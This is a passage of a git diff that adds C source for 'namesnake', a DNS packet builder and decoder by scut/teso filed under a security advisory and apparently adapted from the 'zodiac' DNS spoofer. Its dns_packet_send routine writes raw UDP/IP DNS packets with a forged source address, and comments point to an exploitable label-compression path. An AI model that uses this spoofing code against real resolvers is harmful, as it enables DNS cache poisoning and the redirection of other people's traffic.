33 char *pr;
34
35 cc = dlen = (len == 0) ? m_random (3, 16) : len;
36 pr = xcalloc (1, strlen (domain) + dlen + 2);
37 for (; dlen > 0; --dlen) {
38 char p;
39
40 (int) p = m_random ((int) 'a', (int) 'z');
41 pr[dlen - 1] = p;
42 }
43 pr[cc] = '.';
44 memcpy (pr + cc + 1, domain, strlen (domain));
45
46 return (pr);
47}
48
49
50/* dns_domain
51 *
52 * return a pointer to the beginning of the SLD within a full qualified
53 * domain name `domainname'.
54 *
55 * return NULL on failure
56 * return a pointer to the beginning of the SLD on success
57 */
58
59char *
60dns_domain (char *domainname)
61{
62 char *last_label = NULL,
63 *hold_label = NULL;
64
65 if (domainname == NULL)
66 return (NULL);
67
68 /* find last SLD
69 */
70 for (; *domainname != '\x00'; ++domainname) {
71 if (*domainname == '.') {
72 last_label = hold_label;
73 hold_label = domainname + 1;
74 }
75 }
76
77 return (last_label);
78}
79
80
81/*
82 * gets the domain of an in-addr.arpa string.
83 * 123.123.123.123.in-addr.arpa ==> 123.123.123.in-addr.arpa
84 * return a pointer inside arpaname on success
85 * return NULL on failure
86 */
87
88char *
89dns_ptr_domain (char *arpaname)
90{
91 char *dot;
92
93 if (strstr (arpaname, "in-addr.arpa") == NULL)
94 return (NULL);
95
96 if (atoi (arpaname) == 0)
97 return (NULL);
98
99 dot = strchr (arpaname, '.');
100
101 return ((dot == NULL) ? NULL : (dot + 1));
102}
103
104
105/* dns_build_new
106 *
107 * constructor. create new packet data body
108 *
109 * return packet data structure pointer (initialized)
110 */
111
112dns_pdata *
113dns_build_new (void)
114{
115 dns_pdata *new;
116
117 new = xcalloc (1, sizeof (dns_pdata));
118 new->p_offset = NULL;
119 new->p_data = NULL;
120
121 return (new);
122}
123
124
125/* dns_build_destroy
126 *
127 * destructor. destroy a dns_pdata structure pointed to by `pd'
128 *
129 * return in any case
130 */
131
132void
133dns_build_destroy (dns_pdata *pd)
134{
135 if (pd == NULL)
136 return;
137
138 if (pd->p_data != NULL)
139 free (pd->p_data);
140 free (pd);
141
142 return;
143}
144
145
146/* dns_build_plen
147 *
148 * calculate the length of the current packet data body pointed to by `pd'.
149 *
150 * return the packet length
151 */
152
153u_short
154dns_build_plen (dns_pdata *pd)
155{
156 if (pd == NULL)
157 return (0);
158
159 if (pd->p_data == NULL || pd->p_offset == NULL)
160 return (0);
161
162 return ((u_short) (pd->p_offset - pd->p_data));
163}
164
165
166/* dns_build_extend
167 *
168 * extend a dns_pdata structure data part for `amount' bytes.
169 *
170 * return a pointer to the beginning of the extension
171 */
172
173unsigned char *
174dns_build_extend (dns_pdata *pd, size_t amount)
175{
176 unsigned int u_ptr = dns_build_plen (pd);
177
178 /* realloc is your friend =)
179 */
180 pd->p_data = realloc (pd->p_data, u_ptr + amount);
181 if (pd->p_data == NULL) {
182 exit (EXIT_FAILURE);
183 }
184
185 /* since realloc can move the memory we have to calculate
186 * p_offset completely from scratch
187 */
188 pd->p_offset = pd->p_data + u_ptr + amount;
189
190 return (pd->p_data + u_ptr);
191}
192
193
194/* dns_build_ptr
195 *
196 * take a numeric quad dot notated ip address `ip_str' and build a char
197 * domain out of it within the IN-ADDR.ARPA domain.
198 *
199 * return NULL on failure
200 * return a char pointer to the converted domain name
201 */
202
203char *
204dns_build_ptr (char *ip_str)
205{
206 char *ip_ptr;
207 int dec[4];
208 int n;
209
210 if (ip_str == NULL)
211 return (NULL);
212
213 /* kludge for functions that already pass a reversed string
214 */
215 if (strstr (ip_str, "in-addr.arpa"))
216 return (xstrdup (ip_str));
217
218 /* parse ip string, on failure drop conversion
219 */
220 n = sscanf (ip_str, "%d.%d.%d.%d", &dec[0], &dec[1], &dec[2], &dec[3]);
221 if (n != 4)
222 return (NULL);
223
224 /* allocate a new string of the required length
225 */
226 ip_ptr = xcalloc (1, strlen (ip_str) + strlen (".in-addr.arpa") + 1);
227 sprintf (ip_ptr, "%d.%d.%d.%d.in-addr.arpa", dec[3], dec[2], dec[1], dec[0]);
228
229 return (ip_ptr);
230}
231
232
233/* dns_build_q
234 *
235 * append a query record into a dns_pdata structure, where `dname' is the
236 * domain name that should be queried, using `qtype' and `qclass' as types.
237 *
238 * conversion of the `dname' takes place according to the value of `qtype':
239 *
240 * qtype | expected dname format | converted to
241 * ---------+-----------------------+-----------------------------------------
242 * T_PTR | char *, ip address | IN-ADDR.ARPA dns domain name
243 * T_A | char *, full hostname | dns domain name
244 * T_NS | " | "
245 * T_CNAME | " | "
246 * T_SOA | " | "
247 * T_WKS | " | "
248 * T_HINFO | " | "
249 * T_MINFO | " | "
250 * T_MX | " | "
251 * T_ANY | " | "
252 *
253 * return (beside adding the record) the pointer to the record within the data
254 */
255
256unsigned char *
257dns_build_q (dns_pdata *pd, char *dname, u_short qtype, u_short qclass)
258{
259 unsigned char *qdomain = NULL;
260 unsigned char *tgt, *rp;
261 int dlen;
262
263 switch (qtype) {
264 case (T_PTR):
265 /* convert in itself, then convert to a dns domain
266 */
267 dname = dns_build_ptr (dname);
268 if (dname == NULL)
269 return (NULL);
270
271 case (T_A):
272 case (T_NS):
273 case (T_CNAME):
274 case (T_SOA):
275 case (T_WKS):
276 case (T_HINFO):
277 case (T_MINFO):
278 case (T_MX):
279 case (T_TXT):
280 case (T_ANY):
281 /* convert to a dns domain
282 */
283 dlen = dns_build_domain (&qdomain, dname);
284 if (dlen == 0)
285 return (NULL);
286 break;
287 default:
288 return (NULL);
289 }
290
291 tgt = rp = dns_build_extend (pd, dlen + sizeof (qtype) + sizeof (qclass));
292
293 memcpy (tgt, qdomain, dlen);
294 tgt += dlen;
295 free (qdomain);
296
297 PUTSHORT (qtype, tgt);
298 PUTSHORT (qclass, tgt);
299
300 return (rp);
301}
302
303
304/* dns_build_rr
305 *
306 * append a resource record into a dns_pdata structure, pointed ty by `pd',
307 * where `dname' is the domain name the record belongs to, `type' and `class'
308 * are the type and class of the dns data part, `ttl' is the time to live,
309 * the time in seconds how long to cache the record. `rdlength' is the length
310 * of the resource data pointed to by `rdata'.
311 * depending on `type' the data at `rdata' will be converted to the appropiate
312 * type:
313 *
314 * type | rdata points to | will be
315 * -------+---------------------+---------------------------------------------
316 * T_A | char IP address | 4 byte network byte ordered IP address
317 * T_PTR | char domain name | encoded dns domain name
318 * T_NS | char domain name | encoded dns domain name
319 *
320 * return (beside adding the record) the pointer to the record within the data
321 */
322
323unsigned char *
324dns_build_rr (dns_pdata *pd, unsigned char *dname, u_short type, u_short class,
325 u_long ttl, void *rdata)
326{
327 char *ptr_ptr = NULL;
328 struct in_addr ip_addr; /* temporary, to convert */
329 unsigned char *qdomain = NULL;
330 unsigned char *tgt, *rp = NULL;
331 u_short rdlength = 0;
332 unsigned char *rdata_converted; /* converted rdata */
333 int n;
334
335 switch (type) {
336 case (T_A):
337
338 /* resolve the quad dotted IP address, then copy it into the
339 * rdata array
340 */
341
342 ip_addr.s_addr = net_resolve ((char *) rdata);
343 rdata_converted = xcalloc (1, sizeof (struct in_addr));
344 memcpy (rdata_converted, &ip_addr.s_addr, sizeof (struct in_addr));
345 rdlength = 4;
346
347 break;
348
349 case (T_NS):
350 case (T_CNAME):
351 case (T_PTR):
352
353 /* build a dns domain from the plaintext domain name
354 */
355 n = dns_build_domain ((unsigned char **) &rdata_converted, (char *) rdata);
356 if (n == 0)
357 return (NULL);
358 rdlength = n;
359
360 break;
361
362 case (T_TXT):
363
364 rdata_converted = xstrdup (rdata);
365 rdlength = strlen (rdata_converted);
366
367 break;
368
369 default:
370 return (NULL);
371 }
372
373 /* create a real dns domain from the plaintext query domain
374 */
375 switch (type) {
376 case (T_PTR):
377 ptr_ptr = dns_build_ptr (dname);
378 dname = ptr_ptr;
379 default:
380 n = dns_build_domain (&qdomain, dname);
381 if (n == 0)
382 goto rr_fail;
383 break;
384 }
385 if (ptr_ptr != NULL)
386 free (ptr_ptr);
387
388 /* extend the existing dns packet to hold our extra rr record
389 */
390 tgt = rp = dns_build_extend (pd, dns_labellen (qdomain) + sizeof (type) +
391 sizeof (class) + sizeof (ttl) + sizeof (rdlength) + rdlength);
392
393 memcpy (tgt, qdomain, dns_labellen (qdomain));
394 tgt += dns_labellen (qdomain);
395 free (qdomain);
396
397 PUTSHORT (type, tgt);
398 PUTSHORT (class, tgt);
399 PUTLONG (ttl, tgt);
400 PUTSHORT (rdlength, tgt);
401
402 memcpy (tgt, rdata_converted, rdlength);
403 tgt += rdlength;
404
405rr_fail:
406 free (rdata_converted);
407
408 return (rp);
409}
410
411
412/* dns_build_query_label
413 *
414 * build a query label given from the data `query' that should be enclosed
415 * and the query type `qtype' and query class `qclass'.
416 * the label is passed back in printable form, not in label-length form.
417 *
418 * qtype qclass query
419 * -----------+---------------+-----------------------------------------------
420 * A IN pointer to a host- or domainname
421 * PTR IN pointer to a struct in_addr
422 *
423 * ... (to be extended) ...
424 *
425 * return 0 on success
426 * return 1 on failure
427 */
428
429int
430dns_build_query_label (unsigned char **query_dst, u_short qtype, u_short qclass, void *query)
431{
432 char label[256];
433 struct in_addr *ip;
434
435 /* we do only internet queries (qclass is just for completeness)
436 * also drop empty queries
437 */
438 if (qclass != C_IN || query == NULL)
439 return (1);
440
441 switch (qtype) {
442 case (T_A): *query_dst = xstrdup (query);
443 break;
444
445 case (T_PTR): memset (label, '\0', sizeof (label));
446 ip = (struct in_addr *) query;
447 net_printipr (ip, label, sizeof (label) - 1);
448 scnprintf (label, sizeof (label), ".in-addr.arpa");
449 *query_dst = xstrdup (label);
450 break;
451 default: return (1);
452 break;
453 }
454
455 return (0);
456}
457
458
459/* dns_build_domain
460 *
461 * build a dns domain label sequence out of a printable domain name
462 * store the resulting domain in `denc', get the printable domain
463 * from `domain'.
464 *
465 * return 0 on failure
466 * return length of the created domain (include suffixing '\x00')
467 */
468
469int
470dns_build_domain (unsigned char **denc, char *domain)
471{
472 char *start = domain,
473 *out,
474 c = '\0';
475 int n = strlen (domain);
476
477 if (n > MAXDNAME)
478 return (0);
479
480 out = *denc = xcalloc (1, n + 2);
481
482 domain += n - 1;
483 out += n + 1;
484 *out-- = 0;
485
486 n = 0;
487
488 while (domain >= start) {
489 c = *domain--;
490 if (c == '.') {
491 *out-- = n;
492 n = 0;
493 } else {
494 *out-- = c;
495 n++;
496 }
497 }
498
499 if (n != '\0')
500 *out-- = n;
501
502 return (strlen (out + 1) + 1);
503}
504
505
506/* dns_build_domain_dotlen
507 *
508 * helper routine, determine the length of the next label in a human
509 * printed domain name
510 *
511 * return the number of characters until an occurance of \x00 or '.'
512 */
513
514int
515dns_build_domain_dotlen (char *label)
516{
517 int n;
518
519 /* determine length
520 */
521 for (n = 0; *label != '.' && *label != '\x00'; n++, ++label)
522 ;
523
524 return (n);
525}
526
527
528/* dns_packet_send
529 *
530 * send a prepared dns packet spoofing from `ip_src' to `ip_dst', using
531 * source port `prt_src' and destination port `prt_dst'. the dns header
532 * data is filled with `dns_id', the dns identification number of the
533 * packet, `flags', which are the 16bit flags in the dns header, then
534 * four count variables, each for a dns segment: `count_q' is the number
535 * of queries, `count_a' the number of answers, `count_ns' the number of
536 * nameserver entries and `count_ad' the number of additional entries.
537 * the real dns data is aquired from `dbuf', `dbuf_s' bytes in length.
538 * the dns data should be constructed using the dns_build_* functions.
539 * if the packet should be compressed before sending it, `compress'
540 * should be set to 1.
541 *
542 * return 0 on success
543 * return 1 on failure
544 */
545
546int
547dns_packet_send (char *ip_src, char *ip_dst, u_short prt_src, u_short prt_dst,
548 u_short dns_id, u_short flags, u_short count_q, u_short count_a,
549 u_short count_ns, u_short count_ad, dns_pdata *pd)
550{
551 int sock; /* raw socket, yeah :) */
552 int n; /* temporary return value */
553 unsigned char buf[4096]; /* final packet buffer */
554 unsigned char *dbuf = pd->p_data;
555 size_t dbuf_s = dns_build_plen (pd);
556 struct in_addr s_addr,
557 d_addr;
558
559
560 s_addr.s_addr = net_resolve (ip_src);
561 d_addr.s_addr = net_resolve (ip_dst);
562
563 libnet_build_dns ( dns_id, /* dns id (the famous one, 'antilove'd by many users ;) */
564 flags, /* standard query response */
565 count_q, /* count for query */
566 count_a, /* count for answer */
567 count_ns, /* count for authoritative information */
568 count_ad, /* count for additional information */
569 dbuf, /* buffer with the queries/rr's */
570 dbuf_s, /* query size */
571 buf + IP_H + UDP_H); /* write into packet buffer */
572
573 libnet_build_udp ( prt_src, /* source port */
574 prt_dst, /* 53 usually */
575 NULL, /* content already there */
576 DNS_H + dbuf_s, /* same */
577 buf + IP_H); /* build after ip header */
578
579 libnet_build_ip ( UDP_H + DNS_H + dbuf_s, /* content size */
580 0, /* tos */
581 libnet_get_prand (PRu16), /* id :) btw, what does 242 mean ? */
582 0, /* frag */
583 64, /* ttl */
584 IPPROTO_UDP, /* subprotocol */
585 s_addr.s_addr, /* spoofa ;) */
586 d_addr.s_addr, /* local dns querier */
587 NULL, /* payload already there */
588 0, /* same */
589 buf); /* build in packet buffer */
590
591 libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + DNS_H + dbuf_s);
592 libnet_do_checksum (buf, IPPROTO_IP, IP_H);
593
594 sock = libnet_open_raw_sock(IPPROTO_RAW);
595 if (sock == -1)
596 return (1);
597
598 n = libnet_write_ip (sock, buf, UDP_H + IP_H + DNS_H + dbuf_s);
599 if (n < UDP_H + IP_H + DNS_H + dbuf_s) {
600 return (1);
601 }
602
603 close (sock);
604
605 return (0);
606}
607
608
diff --git a/advisories/teso-advisory-003/namesnake/src/dns-build.h b/advisories/teso-advisory-003/namesnake/src/dns-build.h
new file mode 100644
index 0000000..ca3fe9c
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/src/dns-build.h
@@ -0,0 +1,211 @@
1/* namesnake
2 *
3 * dns packet builder routines include file
4 *
5 * by scut / teso
6 */
7
8#ifndef Z_DNS_BUILD_H
9#define Z_DNS_BUILD_H
10
11
12/* dns_pdata
13 *
14 * domain name service packet data part structure.
15 * the data in this structure is the virtual dns packet to fire.
16 */
17
18typedef struct dns_pdata {
19 unsigned char *p_offset; /* internal offset to construct packet data */
20 unsigned char *p_data; /* real packet data pointer */
21} dns_pdata;
22
23
24/* dns_build_random
25 *
26 * prequel the domain name `domain' with a random sequence of characters
27 * with a random length if `len' is zero, and a fixed length if len is != 0
28 *
29 * return the allocated new string
30 */
31
32char *dns_build_random (char *domain, size_t len);
33
34/* dns_domain
35 *
36 * return a pointer to the beginning of the SLD within a full qualified
37 * domain name `domainname'.
38 *
39 * return NULL on failure
40 * return a pointer to the beginning of the SLD on success
41 */
42
43char *dns_domain (char *domainname);
44char *dns_ptr_domain (char *arpaname);
45
46
47/* dns_build_new
48 *
49 * constructor. create new packet data body
50 *
51 * return packet data structure pointer (initialized)
52 */
53
54dns_pdata *dns_build_new (void);
55
56
57/* dns_build_destroy
58 *
59 * destructor. destroy a dns_pdata structure pointed to by `pd'
60 *
61 * return in any case
62 */
63
64void dns_build_destroy (dns_pdata *pd);
65
66
67/* dns_build_plen
68 *
69 * calculate the length of the current packet data body pointed to by `pd'.
70 *
71 * return the packet length
72 */
73
74u_short dns_build_plen (dns_pdata *pd);
75
76
77/* dns_build_extend
78 *
79 * extend a dns_pdata structure data part for `amount' bytes.
80 *
81 * return a pointer to the beginning of the extension
82 */
83
84unsigned char *dns_build_extend (dns_pdata *pd, size_t amount);
85
86
87/* dns_build_ptr
88 *
89 * take a numeric quad dot notated ip address `ip_str' and build a char
90 * domain out of it within the IN-ADDR.ARPA domain.
91 *
92 * return NULL on failure
93 * return a char pointer to the converted domain name
94 */
95
96char *dns_build_ptr (char *ip_str);
97
98
99/* dns_build_q
100 *
101 * append a query record into a dns_pdata structure, where `dname' is the
102 * domain name that should be queried, using `qtype' and `qclass' as types.
103 *
104 * conversion of the `dname' takes place according to the value of `qtype':
105 *
106 * qtype | expected dname format | converted to
107 * ---------+-----------------------+-----------------------------------------
108 * TY_PTR | char *, ip address | IN-ADDR.ARPA dns domain name
109 * TY_A | char *, full hostname | dns domain name
110 * TY_NS | " | "
111 * TY_CNAME | " | "
112 * TY_WKS | " | "
113 * TY_HINFO | " | "
114 * TY_MINFO | " | "
115 * TY_MX | " | "
116 *
117 * return (beside adding the record) the pointer to the record within the data
118 */
119
120unsigned char *dns_build_q (dns_pdata *pd, char *dname, u_short qtype, u_short qclass);
121
122
123/* dns_build_rr
124 *
125 * append a resource record into a dns_pdata structure, pointed ty by `pd',
126 * where `dname' is the domain name the record belongs to, `type' and `class'
127 * are the type and class of the dns data part, `ttl' is the time to live,
128 * the time in seconds how long to cache the record. `rdlength' is the length
129 * of the resource data pointed to by `rdata'.
130 * depending on `type' the data at `rdata' will be converted to the appropiate
131 * type:
132 *
133 * type | rdata points to | will be
134 * -------+---------------------+---------------------------------------------
135 * TY_A | char IP address | 4 byte network byte ordered IP address
136 * TY_PTR | char domain name | encoded dns domain name
137 * TY_NS | char domain name | encoded dns domain name
138 *
139 * return (beside adding the record) the pointer to the record within the data
140 */
141
142unsigned char *dns_build_rr (dns_pdata *pd, unsigned char *dname,
143 u_short type, u_short class, u_long ttl, void *rdata);
144
145
146/* dns_build_query_label
147 *
148 * build a query label given from the data `query' that should be enclosed
149 * and the query type `qtype' and query class `qclass'.
150 *
151 * qtype qclass query
152 * -----------+---------------+-----------------------------------------------
153 * A IN pointer to a host- or domainname
154 * PTR IN pointer to a struct in_addr
155 *
156 * ... (to be extended) ...
157 *
158 * return 0 on success
159 * return 1 on failure
160 */
161int dns_build_query_label (unsigned char **query_dst, u_short qtype, u_short qclass, void *query);
162
163
164/* dns_build_domain
165 *
166 * build a dns domain label sequence out of a printable domain name
167 * store the resulting domain in `denc', get the printable domain
168 * from `domain'.
169 *
170 * return 0 on failure
171 * return length of the created domain (include suffixing '\x00')
172 */
173
174int dns_build_domain (unsigned char **denc, char *domain);
175
176
177/* dns_build_domain_dotlen
178 *
179 * helper routine, determine the length of the next label in a human
180 * printed domain name
181 *
182 * return the number of characters until an occurance of \x00 or '.'
183 */
184
185int dns_build_domain_dotlen (char *label);
186
187
188/* dns_packet_send
189 *
190 * send a prepared dns packet spoofing from `ip_src' to `ip_dst', using
191 * source port `prt_src' and destination port `prt_dst'. the dns header
192 * data is filled with `dns_id', the dns identification number of the
193 * packet, `flags', which are the 16bit flags in the dns header, then
194 * four count variables, each for a dns segment: `count_q' is the number
195 * of queries, `count_a' the number of answers, `count_ns' the number of
196 * nameserver entries and `count_ad' the number of additional entries.
197 * the real dns data is aquired from the dns packet data `pd'.
198 * the dns data should be constructed using the dns_build_* functions.
199 * if the packet should be compressed before sending it, `compress'
200 * should be set to 1.
201 *
202 * return 0 on success
203 * return 1 on failure
204 */
205
206int dns_packet_send (char *ip_src, char *ip_dst, u_short prt_src, u_short prt_dst,
207 u_short dns_id, u_short flags, u_short count_q, u_short count_a,
208 u_short count_ns, u_short count_ad, dns_pdata *pd);
209
210#endif
211
diff --git a/advisories/teso-advisory-003/namesnake/src/dns.c b/advisories/teso-advisory-003/namesnake/src/dns.c
new file mode 100644
index 0000000..c2c8c10
--- /dev/null
+++ b/advisories/teso-advisory-003/namesnake/src/dns.c
@@ -0,0 +1,447 @@
1/* zodiac - advanced dns spoofer
2 *
3 * by scut / teso
4 *
5 * dns handling routines
6 *
7 * including scut's leet dns packet decoder *welp* :-D
8 *
9 */
10
11#include <sys/time.h>
12#include <sys/socket.h>
13#include <netinet/in.h>
14#include <arpa/inet.h>
15#include <unistd.h>
16#include <stdlib.h>
17#include <string.h>
18#include "common.h"
19#include "dns.h"
20
21
22extern char * ns_domain;
23
24static char *types[] = { NULL, "A", "NS", "MD", "MF", "CNAME", "SOA", "MB", "MG",
25 "MR", "NULL", "WKS", "PTR", "HINFO", "MINFO", "MX", "TXT" };
26static char *rcodes[] = { "OK", "EFORM", "EFAIL", "ENAME", "ENIMP", "ERFSD", NULL, NULL,
27 NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL };
28
29
30/* dns_handle
31 *
32 * handle a dns packet with header pointed to by `dns_hdr' and data pointed
33 * to by `dns_data'.
34 *
35 * do all necessary queue / decoding stuff
36 */
37
38void
39dns_handle (dns_hdr *dns, unsigned char *dns_data, unsigned int plen, int print)
40{
41 int n; /* temporary return value */
42 unsigned char *d_quer[SEG_COUNT_MAX]; /* query array */
43 unsigned char *d_answ[SEG_COUNT_MAX]; /* answer array */
44 unsigned char *d_auth[SEG_COUNT_MAX]; /* authority array */
45 unsigned char *d_addi[SEG_COUNT_MAX]; /* additional array */
46 char dns_p[2048]; /* output (for humans :) */
47
48#ifdef PDEBUG
49 hexdump ("packet-dns", (unsigned char *) dns, 256);
50#endif
51 /* segmentify dns packet
52 */
53 n = dns_segmentify (dns, dns_data, d_quer, d_answ, d_auth, d_addi);
54 if (n != 0) {
55 printf ("FAILURE ON DNS PACKET DISASSEMBLY\n");
56 return;
57 }
58
59 memset (dns_p, '\0', sizeof (dns_p));
60
61 /* only print own packets if dns_print_own_packets is 1
62 */
63 dns_printpkt (dns_p, sizeof (dns_p) - 1, dns,
64 dns_data, d_quer, d_answ, d_auth, d_addi, print);
65
66 /* return
67 */
68 return;
69}
70
71
72/* dns_p_print
73 *
74 * decode a dns packet pointed to by `dns' and `dns_data' to a human readable
75 * form to the string pointed to by `os', with a maximum length of `len'
76 *
77 * return 0 on success
78 * return 1 on failure
79 */
80
81int
82dns_p_print (char *os, size_t len, dns_hdr *dns, unsigned char *d_quer[], unsigned char *d_answ[],
83 unsigned char *d_auth[], unsigned char *d_addi[])
84{
85 int n;
86
87 scnprintf (os, len, "ID[%04x] TYPE[", ntohs (dns->id));
88
89 if (dns->qr == 0) {
90 /* print the query
91 */
92 if (dns->opcode != 0 && dns->opcode != 1) {
93 scnprintf (os, len, "unsupported opcode %02x %s", dns->opcode,
94 (dns->opcode == 3) ? "ST]" : "");
95 } else {
96 if (dns->opcode == 0)
97 scnprintf (os, len, " Q]");
98 else if (dns->opcode == 1)
99 scnprintf (os, len, "IQ]");
100 }
101 } else if (dns->qr == 1) {
102 char *rcstr = NULL;
103
104 /* authoritative answer ?
105 */
106 if (dns->aa == 1)
107 scnprintf (os, len, "AA]");
108 else
109 scnprintf (os, len, " A]");
110
111 rcstr = rcodes[dns->rcode];
112 scnprintf (os, len, "(%s)", (rcstr == NULL) ? "?" : rcstr);
113 }
114
115 for (n = 0; n < ntohs (dns->qdcount) && n < SEG_COUNT_MAX; n++) {
116 if (n == 0)
117 scnprintf (os, len, " Q(%hu)> ", ntohs (dns->qdcount));
118 dns_p_q ((unsigned char *) dns, os, len, d_quer[n]);
119 }
120
121 return (0);
122}
123
124
125/* dns_p_q
126 *
127 * print a dns query record pointed to by `wp' as a human readable string,
128 * and append it to `os', which can have a maximum size of `len' characters.
129 */
130
131void
132dns_p_q (unsigned char *dns_start, char *os, size_t len, unsigned char *wp)
133{
134 char qname[256];
135 char *qt;
136 u_short qtype, qclass;
137
138 memset (qname, '\0', sizeof (qname));
139 dns_dcd_label (dns_start, &wp, qname, sizeof (qname) - 1, 5);
140
141 /* get query type and class
142 */
143 GETSHORT (qtype, wp);
144 GETSHORT (qclass, wp);
145
146 if (qtype <= 16)
147 qt = types[qtype];
148 else
149 qt = NULL;
150
151 ns_domain = xstrdup (qname);
152 scnprintf (os, len, "%s [t:%s]", qname, (qt != NULL) ? qt : "-");
153
154 return;
155}
156
157
158/* dns_p_rdata
159 *
160 * print a resource record rdata field pointed to by `rdp' as a human readable
161 * string `rdstr' with a maximum length `len', depending on rdata type `rtype'
162 * the data pointed to by `rdp' has the length `rdlen'.
163 *
164 * return nothing
165 */
166
167void
168dns_p_rdata (unsigned char *dns_start, char *rdstr, size_t len,
169 u_short rtype, unsigned char *rdp, u_short rdlen)
170{
171 char *ips;
172 char ipv4str[64]; /* temporary IP address string */
173 struct in_addr ip;
174 unsigned char *wps = rdp;
175
176 memset (rdstr, '\0', len);
177
178 switch (rtype) {
179 case (T_A):
180 memcpy (&ip, rdp, sizeof (struct in_addr));
181
182 ips = ipv4_print (ipv4str, ip, 0);
183 scnprintf (rdstr, len, "%s", ips);
184
185 break;
186
187 case (T_CNAME):
188 case (T_NS):
189 case (T_PTR):
190 dns_dcd_label (dns_start, &wps, rdstr, len, 5);
191 break;
192
193 default:
194 break;
195 }
196
197 return;
198}
199
200
201/* dns_p_rr
202 *
203 * print a dns resource record pointed to by `wp' as a human readable string,
204 * and append it to `os', which can have a maximum size of `len' characters.
205 */
206
207void
208dns_p_rr (unsigned char *dns_start, char *os, size_t len, unsigned char *wp)
209{
210 char name[256], rdatas[256];
211 char *t;
212 u_short type, class, rdlen;
213 u_long ttl;
214
215 /* decode label
216 */
217 memset (name, '\0', sizeof (name));
218 dns_dcd_label (dns_start, &wp, name, sizeof (name), 5);
219
220 /* get type/class/ttl/rdlength/rdata
221 * then assign appropiate type description
222 */
223 GETSHORT (type, wp);
224 GETSHORT (class, wp);
225 GETLONG (ttl, wp);
226 GETSHORT (rdlen, wp);
227 t = (type <= 16) ? types[type] : NULL;
228
229 /* add decoded rdata info into rdatas
230 * different decoding depending on type
231 */
232 dns_p_rdata (dns_start, rdatas, sizeof (rdatas), type, wp, rdlen);
233
234 scnprintf (os, len, "[t: %s (%04x)][c: %04x][ttl: %lu][r: %04x] %s : %s",
235 (t != NULL) ? t : "-", type, class, ttl, rdlen, name, rdatas);
236
237 return;
238}
239
240
241/* dns_segmentify
242 *
243 * segmentify a dns datagram pointed to by `dns_hdr' and `dns_data' into it's
244 * different parts, such as the query part (pointed to by `d_quer'), the
245 * answer part (pointed to by `d_answ'), the authoritaty (pointed to by
246 * `d_auth') and the additional information parts (pointed to by `d_addi').
247 *
248 * return 0 on success, and fill all the **-pointers to either NULL or data
249 * within the `dns_data' array.
250 */
251
252int
253dns_segmentify (dns_hdr *dns, unsigned char *dns_data,
254 unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[],
255 unsigned char *d_addi[])
256{
257 unsigned char *wp; /* work pointer */
258
259 wp = dns_data;
260
261 /* get queries, answers, authorities and additional information
262 */
263 dns_seg_q (&wp, d_quer, htons (dns->qdcount), SEG_COUNT_MAX);
264 dns_seg_rr (&wp, d_answ, htons (dns->ancount), SEG_COUNT_MAX);
265 dns_seg_rr (&wp, d_auth, htons (dns->nscount), SEG_COUNT_MAX);
266 dns_seg_rr (&wp, d_addi, htons (dns->arcount), SEG_COUNT_MAX);
267
268 return (0);
269}
270
271
272/* dns_seg_q
273 *
274 * segmentify a query record of a dns datagram, starting at `wp', creating
275 * an array of `c' number of pointers in `d_arry', truncating if it exceeds
276 * a number of `max_size' records
277 */
278
279void
280dns_seg_q (unsigned char **wp, unsigned char *d_arry[], int c, int max_size)
281{
282 int count;
283
284 for (count = 0; count < c && count < max_size; count++) {
285 d_arry[count] = *wp;
286 *wp += dns_labellen (*wp); /* skip label */
287 *wp += 2 * sizeof (u_short); /* skip qtype/qclass */
288 }
289}
290
291
292/* dns_seg_rr
293 *
294 * segmentify a resource record of a dns datagram, starting at `wp', creating
295 * an array of `c' number of pointers in `d_arry', truncating if it exceeds
296 * a number of `max_size' records
297 */
298
299void
300dns_seg_rr (unsigned char **wp, unsigned char *d_arry[], int c, int max_size)
301{
302 int count;
303 unsigned long int rdlen;
304
305 for (count = 0; count < c && count < max_size; count++) {
306 d_arry[count] = *wp;
307
308 /* skip the label (most likely compressed)
309 */
310 *wp += dns_labellen (*wp);
311
312 /* skip the type, class, ttl
313 */
314 *wp += 8 * sizeof (u_char);
315
316 /* resource data length
317 */
318 GETSHORT (rdlen, *wp);
319 *wp += rdlen;
320 }
321
322 return;
323}
324
325
326/* dns_labellen
327 *
328 * determine the length of a dns label pointed to by `wp'
329 *
330 * return the length of the label
331 */
332
333int
334dns_labellen (unsigned char *wp)
335{
336 unsigned char *wps = wp;
337
338 while (*wp != '\x00') {
339 /* in case the label is compressed we don't really care,
340 * but just skip it
341 */
342 if ((*wp & INDIR_MASK) == INDIR_MASK) {
343 wp += sizeof (u_short);
344
345 /* non-clear RFC at this point, got to figure with some
346 * real dns packets
347 */
348 return ((int) (wp - wps));
349 } else {
350 wp += (*wp + 1);
351 }
352 }
353
354 return ((int) (wp - wps) + 1);
355}
356
357
358/* dns_dcd_label
359 *
360 * decode a label sequence pointed to by `qname' to a string pointed to by
361 * `os', with a maximum length of `len' characters
362 * after successful decoding it will update *qname, to point to the qtype
363 * if the `dig' flag is > 0 the routine may allow to call itself recursively
364 * at a maximum dig level of `dig'.
365 * if `dig' is zero it is a recursive call and may not call itself once more.
366 * `dns_start' is a pointer to the beginning of the dns packet, to allow
367 * compressed labels to be decoded.
368 *
369 * return 0 on success
370 * return 1 on failure
371 */
372
373int
374dns_dcd_label (unsigned char *dns_start, unsigned char **qname, char *os, size_t len, int dig)
375{
376 unsigned char *qn = *qname;
377
378 while (*qn != '\0') {
379 if ((*qn & INDIR_MASK) == INDIR_MASK) {
380 int offset; /* compression offset */
381 unsigned char *tpt; /*temporary pointer */
382
383 if (dig == 0) {
384 if (dns_start == NULL)
385 return (1);
386
387 printf ("DNS attack, compr. flaw exploit attempt\n");
388 return (1);
389 }
390
391 /* don't fuck with big bad endian
392 */
393
394 offset = (((unsigned char) *qn) & ~0xc0) << 8;
395 qn += 1;
396 offset += (int) ((unsigned char) *qn);
397 qn += 1;
398
399 /* recursivly decode the label pointed to by the offset
400 * exploit here =)
401 */
402
403 tpt = dns_start + offset;
404 *qname = qn;
405
406 return (dns_dcd_label (dns_start, &tpt, os, len, dig - 1));
407
408 } else {
409 char label[65];
410
411 memset (label, '\0', sizeof (label));
412 memcpy (label, qn + 1, (*qn & ~INDIR_MASK));
413 scnprintf (os, len, "%s", label);
414 }
415
416 qn += *qn + 1;
417 if (*qn != 0)
418 scnprintf (os, len, ".");
419 }
420
